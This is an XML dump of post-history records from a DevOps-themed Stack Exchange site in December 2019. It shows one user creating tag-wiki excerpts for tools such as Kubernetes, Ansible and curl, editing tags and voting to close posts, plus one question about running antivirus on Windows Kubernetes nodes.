  <row Id="30979" PostHistoryTypeId="10" PostId="4118" RevisionGUID="4182230a-249d-4944-a98a-280d2f261427" CreationDate="2019-12-23T10:35:42.630" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30980" PostHistoryTypeId="10" PostId="4033" RevisionGUID="410c7345-7109-4fc0-9b5e-268b83e82b26" CreationDate="2019-12-23T10:38:53.840" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30981" PostHistoryTypeId="10" PostId="4001" RevisionGUID="82636d19-5fdd-4254-a925-2b428fcaaad3" CreationDate="2019-12-23T10:39:16.377" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30982" PostHistoryTypeId="10" PostId="4665" RevisionGUID="4f97c2c6-8697-453b-aecd-937efe08bd9e" CreationDate="2019-12-23T10:51:49.243" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30983" PostHistoryTypeId="10" PostId="3996" RevisionGUID="cf7e3d88-f84e-4bd0-af25-a993572d39d4" CreationDate="2019-12-23T10:59:35.950" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30984" PostHistoryTypeId="10" PostId="3894" RevisionGUID="22915607-fbff-46f9-854d-657a5a1e01e8" CreationDate="2019-12-23T11:07:15.140" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30985" PostHistoryTypeId="2" PostId="10208" RevisionGUID="7e7d2224-4c0c-4c24-bfeb-7383df6c404c" CreationDate="2019-12-23T11:16:46.173" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="30986" PostHistoryTypeId="1" PostId="10208" RevisionGUID="7e7d2224-4c0c-4c24-bfeb-7383df6c404c" CreationDate="2019-12-23T11:16:46.173" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="30987" PostHistoryTypeId="2" PostId="10209" RevisionGUID="fe0d24c4-931c-4e2f-aa06-936fafac6359" CreationDate="2019-12-23T11:16:46.173" UserId="210" Text="Use this tag if a question is about Minishift" ContentLicense="CC BY-SA 4.0" />
  <row Id="30988" PostHistoryTypeId="1" PostId="10209" RevisionGUID="fe0d24c4-931c-4e2f-aa06-936fafac6359" CreationDate="2019-12-23T11:16:46.173" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="30989" PostHistoryTypeId="2" PostId="10210" RevisionGUID="0fe6d6e2-3f0d-447a-9bf3-5fcdce3c8a7f" CreationDate="2019-12-23T11:17:01.837" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="30990" PostHistoryTypeId="1" PostId="10210" RevisionGUID="0fe6d6e2-3f0d-447a-9bf3-5fcdce3c8a7f" CreationDate="2019-12-23T11:17:01.837" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="30991" PostHistoryTypeId="2" PostId="10211" RevisionGUID="d8cfcfde-4737-440f-ac34-b7f943becad8" CreationDate="2019-12-23T11:17:01.837" UserId="210" Text="Use this tag if a question is about fluentd" ContentLicense="CC BY-SA 4.0" />
  <row Id="30992" PostHistoryTypeId="1" PostId="10211" RevisionGUID="d8cfcfde-4737-440f-ac34-b7f943becad8" CreationDate="2019-12-23T11:17:01.837" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="30993" PostHistoryTypeId="6" PostId="9851" RevisionGUID="7d706993-a2d7-4c82-8696-6d2c92ac6e3c" CreationDate="2019-12-23T11:17:37.260" UserId="210" Comment="edited tags" Text="&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30994" PostHistoryTypeId="2" PostId="10212" RevisionGUID="34dd57bd-e15f-4727-ae50-69cb4dcbd4f4" CreationDate="2019-12-23T11:18:37.607" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="30995" PostHistoryTypeId="1" PostId="10212" RevisionGUID="34dd57bd-e15f-4727-ae50-69cb4dcbd4f4" CreationDate="2019-12-23T11:18:37.607" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="30996" PostHistoryTypeId="2" PostId="10213" RevisionGUID="90d0f49c-943a-40ae-b61b-8d31401f7b6e" CreationDate="2019-12-23T11:18:37.607" UserId="210" Text="Use this tag if a question is about Jaeger" ContentLicense="CC BY-SA 4.0" />
  <row Id="30997" PostHistoryTypeId="1" PostId="10213" RevisionGUID="90d0f49c-943a-40ae-b61b-8d31401f7b6e" CreationDate="2019-12-23T11:18:37.607" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="30998" PostHistoryTypeId="2" PostId="10214" RevisionGUID="c36b8299-eea9-4721-b4b4-cf63d8dd4804" CreationDate="2019-12-23T11:18:57.437" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="30999" PostHistoryTypeId="1" PostId="10214" RevisionGUID="c36b8299-eea9-4721-b4b4-cf63d8dd4804" CreationDate="2019-12-23T11:18:57.437" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31000" PostHistoryTypeId="2" PostId="10215" RevisionGUID="38803c7c-6c78-4331-8359-d1960ff8b749" CreationDate="2019-12-23T11:18:57.437" UserId="210" Text="Use this tag if a question is about GPG" ContentLicense="CC BY-SA 4.0" />
  <row Id="31001" PostHistoryTypeId="1" PostId="10215" RevisionGUID="38803c7c-6c78-4331-8359-d1960ff8b749" CreationDate="2019-12-23T11:18:57.437" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31002" PostHistoryTypeId="2" PostId="10216" RevisionGUID="2e0f2ed7-75f5-4cff-81f7-3993d16230f2" CreationDate="2019-12-23T11:28:24.860" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="31003" PostHistoryTypeId="1" PostId="10216" RevisionGUID="2e0f2ed7-75f5-4cff-81f7-3993d16230f2" CreationDate="2019-12-23T11:28:24.860" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31004" PostHistoryTypeId="2" PostId="10217" RevisionGUID="d9689662-b20d-4f91-b5ee-23cb363e94ae" CreationDate="2019-12-23T11:28:24.860" UserId="210" Text="Use this tag if a question is about amazon-rds" ContentLicense="CC BY-SA 4.0" />
  <row Id="31005" PostHistoryTypeId="1" PostId="10217" RevisionGUID="d9689662-b20d-4f91-b5ee-23cb363e94ae" CreationDate="2019-12-23T11:28:24.860" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31006" PostHistoryTypeId="2" PostId="10218" RevisionGUID="e8337c86-81f6-4fe9-8cfc-144288e3dfe7" CreationDate="2019-12-23T11:28:59.417" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="31007" PostHistoryTypeId="1" PostId="10218" RevisionGUID="e8337c86-81f6-4fe9-8cfc-144288e3dfe7" CreationDate="2019-12-23T11:28:59.417" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31008" PostHistoryTypeId="2" PostId="10219" RevisionGUID="97f93143-b30b-4fe1-89c6-aaa5ddca2cce" CreationDate="2019-12-23T11:28:59.417" UserId="210" Text="Use this tag if a question is about amazon-kms" ContentLicense="CC BY-SA 4.0" />
  <row Id="31009" PostHistoryTypeId="1" PostId="10219" RevisionGUID="97f93143-b30b-4fe1-89c6-aaa5ddca2cce" CreationDate="2019-12-23T11:28:59.417" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31010" PostHistoryTypeId="5" PostId="57" RevisionGUID="bea38ded-0088-40fe-aa2f-8ecaa18c6398" CreationDate="2019-12-23T11:29:14.127" UserId="210" Comment="added 53 characters in body" Text="Use this tag if a question is about amazon-codedeploy" ContentLicense="CC BY-SA 4.0" />
  <row Id="31011" PostHistoryTypeId="2" PostId="10220" RevisionGUID="d0f199f8-1dab-4c1f-8620-ab32f47e42f1" CreationDate="2019-12-23T11:29:53.923" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="31012" PostHistoryTypeId="1" PostId="10220" RevisionGUID="d0f199f8-1dab-4c1f-8620-ab32f47e42f1" CreationDate="2019-12-23T11:29:53.923" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31013" PostHistoryTypeId="2" PostId="10221" RevisionGUID="f6e172f1-d2ca-47d6-9ce7-f960306cf897" CreationDate="2019-12-23T11:29:53.923" UserId="210" Text="Use this tag if a question is about cassandra" ContentLicense="CC BY-SA 4.0" />
  <row Id="31014" PostHistoryTypeId="1" PostId="10221" RevisionGUID="f6e172f1-d2ca-47d6-9ce7-f960306cf897" CreationDate="2019-12-23T11:29:53.923" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31015" PostHistoryTypeId="2" PostId="10222" RevisionGUID="f993a639-c446-4c52-8563-cf6484f8a95c" CreationDate="2019-12-23T11:30:05.760" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="31016" PostHistoryTypeId="1" PostId="10222" RevisionGUID="f993a639-c446-4c52-8563-cf6484f8a95c" CreationDate="2019-12-23T11:30:05.760" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31017" PostHistoryTypeId="2" PostId="10223" RevisionGUID="c8fa3cbc-5097-4a1d-8b75-f2441d0e0e66" CreationDate="2019-12-23T11:30:05.760" UserId="210" Text="Use this tag if a question is about ant" ContentLicense="CC BY-SA 4.0" />
  <row Id="31018" PostHistoryTypeId="1" PostId="10223" RevisionGUID="c8fa3cbc-5097-4a1d-8b75-f2441d0e0e66" CreationDate="2019-12-23T11:30:05.760" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31019" PostHistoryTypeId="2" PostId="10224" RevisionGUID="e8a8e2eb-7df0-4b81-9b58-7b899dedf64a" CreationDate="2019-12-23T11:31:11.050" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="31020" PostHistoryTypeId="1" PostId="10224" RevisionGUID="e8a8e2eb-7df0-4b81-9b58-7b899dedf64a" CreationDate="2019-12-23T11:31:11.050" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31021" PostHistoryTypeId="2" PostId="10225" RevisionGUID="7668878b-a6c6-4965-b14a-385aacfbdf82" CreationDate="2019-12-23T11:31:11.050" UserId="210" Text="Use this tag if a question is about gradle" ContentLicense="CC BY-SA 4.0" />
  <row Id="31022" PostHistoryTypeId="1" PostId="10225" RevisionGUID="7668878b-a6c6-4965-b14a-385aacfbdf82" CreationDate="2019-12-23T11:31:11.050" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31023" PostHistoryTypeId="2" PostId="10226" RevisionGUID="3eeceb25-eacd-4df3-acdc-09998155ae57" CreationDate="2019-12-23T11:33:02.733" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="31024" PostHistoryTypeId="1" PostId="10226" RevisionGUID="3eeceb25-eacd-4df3-acdc-09998155ae57" CreationDate="2019-12-23T11:33:02.733" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31025" PostHistoryTypeId="2" PostId="10227" RevisionGUID="79959e98-dc56-4e53-b164-8962b6d1a7df" CreationDate="2019-12-23T11:33:02.733" UserId="210" Text="Use this tag if a question is about ssh" ContentLicense="CC BY-SA 4.0" />
  <row Id="31026" PostHistoryTypeId="1" PostId="10227" RevisionGUID="79959e98-dc56-4e53-b164-8962b6d1a7df" CreationDate="2019-12-23T11:33:02.733" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31027" PostHistoryTypeId="2" PostId="10228" RevisionGUID="6f8e0c96-a0fa-4389-a290-9259223f803d" CreationDate="2019-12-23T11:33:15.323" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="31028" PostHistoryTypeId="1" PostId="10228" RevisionGUID="6f8e0c96-a0fa-4389-a290-9259223f803d" CreationDate="2019-12-23T11:33:15.323" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31029" PostHistoryTypeId="2" PostId="10229" RevisionGUID="f3b9c03f-b420-4fbd-8e83-05bea2679f16" CreationDate="2019-12-23T11:33:15.323" UserId="210" Text="Use this tag if a question is about VM" ContentLicense="CC BY-SA 4.0" />
  <row Id="31030" PostHistoryTypeId="1" PostId="10229" RevisionGUID="f3b9c03f-b420-4fbd-8e83-05bea2679f16" CreationDate="2019-12-23T11:33:15.323" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31031" PostHistoryTypeId="2" PostId="10230" RevisionGUID="a571958a-f171-4623-8237-5b730448f8c5" CreationDate="2019-12-23T11:33:26.723" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="31032" PostHistoryTypeId="1" PostId="10230" RevisionGUID="a571958a-f171-4623-8237-5b730448f8c5" CreationDate="2019-12-23T11:33:26.723" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31033" PostHistoryTypeId="2" PostId="10231" RevisionGUID="e3ac5438-186d-43b0-a0ee-ab127ab3c6e6" CreationDate="2019-12-23T11:33:26.723" UserId="210" Text="Use this tag if a question is about nuget" ContentLicense="CC BY-SA 4.0" />
  <row Id="31034" PostHistoryTypeId="1" PostId="10231" RevisionGUID="e3ac5438-186d-43b0-a0ee-ab127ab3c6e6" CreationDate="2019-12-23T11:33:26.723" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31035" PostHistoryTypeId="2" PostId="10232" RevisionGUID="908fc149-489b-4376-88e5-6b4771c9cffd" CreationDate="2019-12-23T11:33:39.480" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="31036" PostHistoryTypeId="1" PostId="10232" RevisionGUID="908fc149-489b-4376-88e5-6b4771c9cffd" CreationDate="2019-12-23T11:33:39.480" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31037" PostHistoryTypeId="2" PostId="10233" RevisionGUID="babf0d52-ec1e-4a4a-bf31-301b056cdd1d" CreationDate="2019-12-23T11:33:39.480" UserId="210" Text="Use this tag if a question is about npm" ContentLicense="CC BY-SA 4.0" />
  <row Id="31038" PostHistoryTypeId="1" PostId="10233" RevisionGUID="babf0d52-ec1e-4a4a-bf31-301b056cdd1d" CreationDate="2019-12-23T11:33:39.480" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31039" PostHistoryTypeId="2" PostId="10234" RevisionGUID="f1ac298e-cc27-41cb-94c9-113ca2dd7c65" CreationDate="2019-12-23T11:34:02.457" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="31040" PostHistoryTypeId="1" PostId="10234" RevisionGUID="f1ac298e-cc27-41cb-94c9-113ca2dd7c65" CreationDate="2019-12-23T11:34:02.457" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31041" PostHistoryTypeId="2" PostId="10235" RevisionGUID="4ee0fbc9-058a-4d63-91c9-381ba608a3a8" CreationDate="2019-12-23T11:34:02.457" UserId="210" Text="Use this tag if a question is about aws-codepipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="31042" PostHistoryTypeId="1" PostId="10235" RevisionGUID="4ee0fbc9-058a-4d63-91c9-381ba608a3a8" CreationDate="2019-12-23T11:34:02.457" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31043" PostHistoryTypeId="2" PostId="10236" RevisionGUID="a15be2a9-e665-4f49-ba1b-b5a960e5d99f" CreationDate="2019-12-23T11:34:12.983" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="31044" PostHistoryTypeId="1" PostId="10236" RevisionGUID="a15be2a9-e665-4f49-ba1b-b5a960e5d99f" CreationDate="2019-12-23T11:34:12.983" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31045" PostHistoryTypeId="2" PostId="10237" RevisionGUID="f8acc0dd-0594-4299-82f9-a974b6b23fa9" CreationDate="2019-12-23T11:34:12.983" UserId="210" Text="Use this tag if a question is about flask" ContentLicense="CC BY-SA 4.0" />
  <row Id="31046" PostHistoryTypeId="1" PostId="10237" RevisionGUID="f8acc0dd-0594-4299-82f9-a974b6b23fa9" CreationDate="2019-12-23T11:34:12.983" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31047" PostHistoryTypeId="2" PostId="10238" RevisionGUID="f9a25366-1d74-4354-9d80-1e2c8a91caac" CreationDate="2019-12-23T11:34:26.257" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="31048" PostHistoryTypeId="1" PostId="10238" RevisionGUID="f9a25366-1d74-4354-9d80-1e2c8a91caac" CreationDate="2019-12-23T11:34:26.257" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31049" PostHistoryTypeId="2" PostId="10239" RevisionGUID="b23b2f74-5033-465d-a76b-2adf41c97ff2" CreationDate="2019-12-23T11:34:26.257" UserId="210" Text="Use this tag if a question is about curl" ContentLicense="CC BY-SA 4.0" />
  <row Id="31050" PostHistoryTypeId="1" PostId="10239" RevisionGUID="b23b2f74-5033-465d-a76b-2adf41c97ff2" CreationDate="2019-12-23T11:34:26.257" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31051" PostHistoryTypeId="2" PostId="10240" RevisionGUID="bb269d6e-87ec-4bb6-8df9-0bc31dd071ea" CreationDate="2019-12-23T11:34:38.880" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="31052" PostHistoryTypeId="1" PostId="10240" RevisionGUID="bb269d6e-87ec-4bb6-8df9-0bc31dd071ea" CreationDate="2019-12-23T11:34:38.880" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31053" PostHistoryTypeId="2" PostId="10241" RevisionGUID="e9359e12-82a5-4ecf-aa2d-92e2cb2ee213" CreationDate="2019-12-23T11:34:38.880" UserId="210" Text="Use this tag if a question is about upgrade" ContentLicense="CC BY-SA 4.0" />
  <row Id="31054" PostHistoryTypeId="1" PostId="10241" RevisionGUID="e9359e12-82a5-4ecf-aa2d-92e2cb2ee213" CreationDate="2019-12-23T11:34:38.880" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31055" PostHistoryTypeId="2" PostId="10242" RevisionGUID="c79decc7-6d60-4ba6-b99d-4170caf35efe" CreationDate="2019-12-23T11:34:54.217" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="31056" PostHistoryTypeId="1" PostId="10242" RevisionGUID="c79decc7-6d60-4ba6-b99d-4170caf35efe" CreationDate="2019-12-23T11:34:54.217" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31057" PostHistoryTypeId="2" PostId="10243" RevisionGUID="a740b97b-2104-413d-872b-8201012643f0" CreationDate="2019-12-23T11:34:54.217" UserId="210" Text="Use this tag if a question is about ansible-inventory" ContentLicense="CC BY-SA 4.0" />
  <row Id="31058" PostHistoryTypeId="1" PostId="10243" RevisionGUID="a740b97b-2104-413d-872b-8201012643f0" CreationDate="2019-12-23T11:34:54.217" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31059" PostHistoryTypeId="2" PostId="10244" RevisionGUID="ff37a7f2-1fb4-4e39-83e3-64df90b97fec" CreationDate="2019-12-23T11:35:06.593" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="31060" PostHistoryTypeId="1" PostId="10244" RevisionGUID="ff37a7f2-1fb4-4e39-83e3-64df90b97fec" CreationDate="2019-12-23T11:35:06.593" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31061" PostHistoryTypeId="2" PostId="10245" RevisionGUID="25489915-ab3c-4f09-9254-8f4a549b82e2" CreationDate="2019-12-23T11:35:06.593" UserId="210" Text="Use this tag if a question is about kubectl" ContentLicense="CC BY-SA 4.0" />
  <row Id="31062" PostHistoryTypeId="1" PostId="10245" RevisionGUID="25489915-ab3c-4f09-9254-8f4a549b82e2" CreationDate="2019-12-23T11:35:06.593" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31063" PostHistoryTypeId="2" PostId="10246" RevisionGUID="62a63699-e562-428a-91e9-f64176216812" CreationDate="2019-12-23T11:35:18.963" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="31064" PostHistoryTypeId="1" PostId="10246" RevisionGUID="62a63699-e562-428a-91e9-f64176216812" CreationDate="2019-12-23T11:35:18.963" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31065" PostHistoryTypeId="2" PostId="10247" RevisionGUID="a4357f46-29ef-4e21-9bbf-8ebb28ff4bdb" CreationDate="2019-12-23T11:35:18.963" UserId="210" Text="Use this tag if a question is about terraform-module" ContentLicense="CC BY-SA 4.0" />
  <row Id="31066" PostHistoryTypeId="1" PostId="10247" RevisionGUID="a4357f46-29ef-4e21-9bbf-8ebb28ff4bdb" CreationDate="2019-12-23T11:35:18.963" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31067" PostHistoryTypeId="2" PostId="10248" RevisionGUID="ce44917e-46d2-44d5-a9b9-661c8e2226b7" CreationDate="2019-12-23T11:35:30.347" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="31068" PostHistoryTypeId="1" PostId="10248" RevisionGUID="ce44917e-46d2-44d5-a9b9-661c8e2226b7" CreationDate="2019-12-23T11:35:30.347" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31069" PostHistoryTypeId="2" PostId="10249" RevisionGUID="ccde6f78-e4a9-467d-8397-8a8bdf7ab344" CreationDate="2019-12-23T11:35:30.347" UserId="210" Text="Use this tag if a question is about certbot" ContentLicense="CC BY-SA 4.0" />
  <row Id="31070" PostHistoryTypeId="1" PostId="10249" RevisionGUID="ccde6f78-e4a9-467d-8397-8a8bdf7ab344" CreationDate="2019-12-23T11:35:30.347" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31071" PostHistoryTypeId="5" PostId="2168" RevisionGUID="9f0953d9-ff3c-4218-8b9a-e89a4997ccd1" CreationDate="2019-12-23T11:36:04.513" UserId="210" Comment="added 42 characters in body" Text="Use this tag if a question is about VMware" ContentLicense="CC BY-SA 4.0" />
  <row Id="31072" PostHistoryTypeId="2" PostId="10250" RevisionGUID="29dc5eb6-998b-4758-8830-2c8382d95d63" CreationDate="2019-12-23T11:36:15.043" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="31073" PostHistoryTypeId="1" PostId="10250" RevisionGUID="29dc5eb6-998b-4758-8830-2c8382d95d63" CreationDate="2019-12-23T11:36:15.043" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31074" PostHistoryTypeId="2" PostId="10251" RevisionGUID="fc07da6c-4375-4dae-b806-f464f830e0b4" CreationDate="2019-12-23T11:36:15.043" UserId="210" Text="Use this tag if a question is about aws-elb" ContentLicense="CC BY-SA 4.0" />
  <row Id="31075" PostHistoryTypeId="1" PostId="10251" RevisionGUID="fc07da6c-4375-4dae-b806-f464f830e0b4" CreationDate="2019-12-23T11:36:15.043" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31076" PostHistoryTypeId="2" PostId="10252" RevisionGUID="f5925031-0fc0-4267-a90f-688b7eec5fa6" CreationDate="2019-12-23T11:36:26.587" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="31077" PostHistoryTypeId="1" PostId="10252" RevisionGUID="f5925031-0fc0-4267-a90f-688b7eec5fa6" CreationDate="2019-12-23T11:36:26.587" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31078" PostHistoryTypeId="2" PostId="10253" RevisionGUID="149e6d45-b56b-4b9e-ade2-cd72ad60aac0" CreationDate="2019-12-23T11:36:26.587" UserId="210" Text="Use this tag if a question is about selenium" ContentLicense="CC BY-SA 4.0" />
  <row Id="31079" PostHistoryTypeId="1" PostId="10253" RevisionGUID="149e6d45-b56b-4b9e-ade2-cd72ad60aac0" CreationDate="2019-12-23T11:36:26.587" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31080" PostHistoryTypeId="2" PostId="10254" RevisionGUID="c4b40aaa-892e-475d-b145-811168b6868f" CreationDate="2019-12-23T11:36:37.630" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="31081" PostHistoryTypeId="1" PostId="10254" RevisionGUID="c4b40aaa-892e-475d-b145-811168b6868f" CreationDate="2019-12-23T11:36:37.630" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31082" PostHistoryTypeId="2" PostId="10255" RevisionGUID="4b028c93-2c97-4481-9cf0-3cb9d4df29db" CreationDate="2019-12-23T11:36:37.630" UserId="210" Text="Use this tag if a question is about minikube" ContentLicense="CC BY-SA 4.0" />
  <row Id="31083" PostHistoryTypeId="1" PostId="10255" RevisionGUID="4b028c93-2c97-4481-9cf0-3cb9d4df29db" CreationDate="2019-12-23T11:36:37.630" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31084" PostHistoryTypeId="10" PostId="3589" RevisionGUID="1163514f-b791-4a5e-8193-fb078a93cfc4" CreationDate="2019-12-23T11:39:57.510" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31085" PostHistoryTypeId="6" PostId="5220" RevisionGUID="f659e599-420e-4e69-bf5e-77e0f985342c" CreationDate="2019-12-23T11:44:44.853" UserId="210" Comment="edited tags" Text="&lt;ansible&gt;&lt;awx&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31086" PostHistoryTypeId="6" PostId="4791" RevisionGUID="706f1175-9b39-4ecd-8431-c7633a4d763c" CreationDate="2019-12-23T11:46:02.770" UserId="210" Comment="edited tags" Text="&lt;ansible&gt;&lt;backup&gt;&lt;awx&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31087" PostHistoryTypeId="11" PostId="4218" RevisionGUID="e6d2e0ea-c8d6-4369-bdfb-736cb8e84e5a" CreationDate="2019-12-23T11:51:05.810" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31088" PostHistoryTypeId="5" PostId="10164" RevisionGUID="243f9807-af83-4570-a37d-7e6e093ddf5b" CreationDate="2019-12-23T11:54:15.530" UserId="210" Comment="deleted 1 character in body" Text="We're building an on-premise Kubernetes cluster with Windows nodes. As a company policy, all Windows Servers needs an antivirus (symantec endpoint security).&#xD;&#xA;&#xD;&#xA;The antivirus would be installed on the nodes, and not as a pod.&#xD;&#xA;&#xD;&#xA;What do you think about installing an antivirus on Kubernetes nodes? Considering the great chance of false-positives when an antivirus has to deal with Docker." ContentLicense="CC BY-SA 4.0" />
  <row Id="31089" PostHistoryTypeId="6" PostId="10164" RevisionGUID="9fd5c852-7e1c-4466-a10d-5683d99c6759" CreationDate="2019-12-23T11:59:49.763" UserId="210" Comment="edited tags" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31090" PostHistoryTypeId="4" PostId="10164" RevisionGUID="9fd5c852-7e1c-4466-a10d-5683d99c6759" CreationDate="2019-12-23T11:59:49.763" UserId="210" Comment="edited tags" Text="What about instaling an Antivirus on Windows K8s nodes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31091" PostHistoryTypeId="10" PostId="10164" RevisionGUID="f5bd83c2-e94b-4ab3-b483-eae4bf5a8e9f" CreationDate="2019-12-23T12:07:54.403" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31097" PostHistoryTypeId="10" PostId="10130" RevisionGUID="4b7250ab-efe2-4a3c-9fc7-674884ada562" CreationDate="2019-12-23T12:21:09.453" UserId="210" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31099" PostHistoryTypeId="6" PostId="3749" RevisionGUID="4a8fb920-8df3-4908-8d0b-e7c0331d2544" CreationDate="2019-12-23T14:17:41.757" UserId="210" Comment="edited tags" Text="&lt;jenkins&gt;&lt;amazon-web-services&gt;&lt;amazon-ecs&gt;&lt;jenkins-amazon-ec2-plugin&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31100" PostHistoryTypeId="2" PostId="10256" RevisionGUID="90d26210-9da8-4963-aa6e-339964dfeac0" CreationDate="2019-12-23T14:18:16.207" UserId="210" Text="https://wiki.jenkins.io/display/JENKINS/Amazon+EC2+Plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="31101" PostHistoryTypeId="1" PostId="10256" RevisionGUID="90d26210-9da8-4963-aa6e-339964dfeac0" CreationDate="2019-12-23T14:18:16.207" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31102" PostHistoryTypeId="2" PostId="10257" RevisionGUID="23be8d05-7f1b-432f-bfe6-4b82a40029d4" CreationDate="2019-12-23T14:18:16.207" UserId="210" Text="Use this tag if a question is about the Jenkins' Amazon EC2 plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="31103" PostHistoryTypeId="1" PostId="10257" RevisionGUID="23be8d05-7f1b-432f-bfe6-4b82a40029d4" CreationDate="2019-12-23T14:18:16.207" UserId="210" ContentLicense="CC BY-SA 4.0" />
